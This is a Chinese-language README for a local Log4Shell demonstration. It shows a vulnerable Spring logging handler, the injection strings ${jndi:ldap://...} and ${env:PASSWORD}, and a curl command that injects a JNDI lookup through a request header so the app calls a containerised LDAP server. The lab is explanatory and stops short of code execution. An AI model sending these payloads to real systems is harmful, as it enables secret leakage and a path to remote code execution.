该仓库包含一个利用近期log4j漏洞的可行示例。它并不执行实际的远程代码执行,而是向您展示恶意攻击者可以多么轻易地让一个存在漏洞的应用程序调用其自身的ldap服务器。
本示例使用了 christophetd 创建的优秀log4j漏洞示例应用:https://github.com/christophetd/log4shell-vulnerable-app
该漏洞利用了log4j的lookup功能,特别是jndi——它允许log4j从外部主机执行查询以获取数据输入。此漏洞可被利用来实现从记录环境中的敏感变量到远程执行代码等多种行为。
当日志器被调用时,任何包含在${}中的文本都会触发查询查找。例如,
${jndi:ldap://someldapserver:1389/o=example}
会对给定查询的LDAP服务器执行查询并输出结果。
一个更简单但不使用jndi、却仍然危险的示例:
${env:PASSWORD}
这会将环境变量的内容打印到日志中。然后,有权限查看这些日志的人就可以从应用程序中提取敏感数据。
log4j中能够被利用的代码非常简单。只需调用日志器来记录未经过滤的某个请求属性即可。例如,可以记录User-Agent的内容。
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
首先,构建本地ldap服务器:
docker build -t ldapnode .
构建完成后,通过运行以下命令启动整个堆栈:
docker-compose up
然后,你可以使用x-api-version头向应用发送请求,注入查询查找:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
使用该请求后,你将会在docker-compose的日志中看到ldap服务器已被调用:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
请参阅此文档了解解决方法。